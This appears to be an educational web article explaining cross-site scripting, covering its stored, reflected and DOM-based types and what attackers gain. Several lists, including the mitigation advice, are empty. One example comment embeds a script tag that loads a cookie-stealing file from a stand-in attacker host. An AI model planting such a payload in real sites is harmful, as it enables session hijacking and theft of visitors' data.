Cross-site scripting attacks – sometimes written as XSS – involve malicious code being injected into otherwise trusted websites. A cross-site scripting attack occurs when cybercriminals inject malicious scripts into the targeted website’s content, which is then included with dynamic content delivered to a victim’s browser. The victim’s browser has no way of knowing that the malicious scripts can’t be trusted and therefore executes them.
As a result, the malicious scripts can access any cookies, session tokens, or other sensitive information retained by the browser and used within that site. Attackers can also use XSS to spread malware, rewrite the contents of websites, cause trouble on social networks, and phish for user credentials. XSS differs from other web attacks in that it does not directly target the application itself. Instead, the users of the web application are the ones at risk.
Depending on how the code is injected, the malicious content may not even be on the actual web page itself but rather as a transient element that only appears to be part of the website at the time of exploitation. This can create the illusion that the actual website is compromised when it isn't.
There are different ways to trigger an XSS attack. For example, the execution could be triggered automatically when the page loads or when a user hovers over specific page elements, such as hyperlinks. In some cases, XSS is performed more directly, such as in an email message. Some XSS attacks do not have a specific target; the attacker simply exploits a vulnerability in the application or site, taking advantage of anyone unfortunate enough to fall victim.
Depending on the scale of the attack, user accounts may be compromised, Trojan horse programs activated, and page content modified, misleading users into divulging their private data. Session cookies could be revealed, enabling a perpetrator to impersonate valid users and abuse their private accounts.
By exploiting XSS vulnerabilities, an attacker can perform malicious actions, such as:
In some cases, an XSS attack can lead to a complete compromise of the victim’s account. Attackers can trick users into entering credentials on a fake form, which provides all the information to the attacker. Once they obtain user credentials, attacks could use them to commit identity theft or financial fraud.
Cross-site scripting can be classified into three main categories — Stored XSS, Reflected XSS, and DOM-based XSS.
Stored cross-site scripting (Persistent XSS)
Stored XSS – also known as Persistent XSS – is considered the most damaging type of XSS attack. Stored XSS occurs when user-supplied input is stored and then rendered within a web page. Typical entry points for stored XSS include message forums, blog comments, user profiles, and username fields. An attacker typically exploits this vulnerability by injecting XSS payloads on popular pages of a site or passing a link to a victim, tricking them into viewing the page that contains the stored XSS payload. The victim visits the page, and the payload is executed client-side by the victim’s web browser.
Reflected cross-site scripting (Non-persistent XSS)
The most common type of XSS is known as Reflected XSS (also known as Non-persistent XSS). In this case, the attacker's payload has to be a part of the request sent to the webserver. It is then reflected back in such a way that the HTTP response includes the payload from the HTTP request. Attackers use malicious links, phishing emails, and other social engineering techniques to trick the victim into making a request to the server. The reflected XSS payload is then executed in the user’s browser.
Reflected XSS is not a persistent attack, so the attacker needs to deliver the payload to each victim. These attacks are often made using social networks.
DOM-based cross-site scripting
DOM-based XSS refers to a cross-site scripting vulnerability that appears in the DOM (Document Object Model) instead of part of the HTML. In reflected and stored cross-site scripting attacks, you can see the vulnerability payload in the response page, but in DOM-based cross-site scripting, the attack's HTML source code and response will be the same, i.e., the payload cannot be found in the response. It can only be observed on runtime or by investigating the DOM of the page.
A DOM-based XSS attack is often a client-side attack, and the malicious payload is never sent to the server. This makes it even more difficult to detect for Web Application Firewalls (WAFs) and security engineers who analyze server logs because they never see the attack. DOM objects that are most often manipulated include the URL (document.URL), the anchor part of the URL (location.hash), and the Referrer (document.referrer).
For example: while browsing an e-commerce website, a bad actor identifies a vulnerability that allows HTML tags to be embedded in the site’s comments section. The embedded tags become a permanent feature of the page, causing the browser to include them with the rest of the source code every time the page is opened.
The attacker adds a comment, along these lines: Great value item. Read my full review here <script src=”http://attackersite.com/authstealer.js”> </script>.
Using the session cookie, the attacker can compromise the visitor’s account, giving them easy access to their personal information and financial data. Meanwhile, the visitor, who may not have even scrolled down to the comments section, remains unaware that the attack took place.
Unlike a reflected attack, where the script is activated after a link is clicked, a stored attack only requires that the victim visit the compromised web page. This increases the reach of the attack, jeopardizing all visitors no matter how cautious they are.
From the attacker’s point of view, persistent XSS attacks are harder to execute because of the difficulties in locating both a trafficked website and one with vulnerabilities that enable permanent script embedding.
To minimize cross-site scripting vulnerability, website developers/owners should:
To avoid falling victim to an XSS attack, individual users should: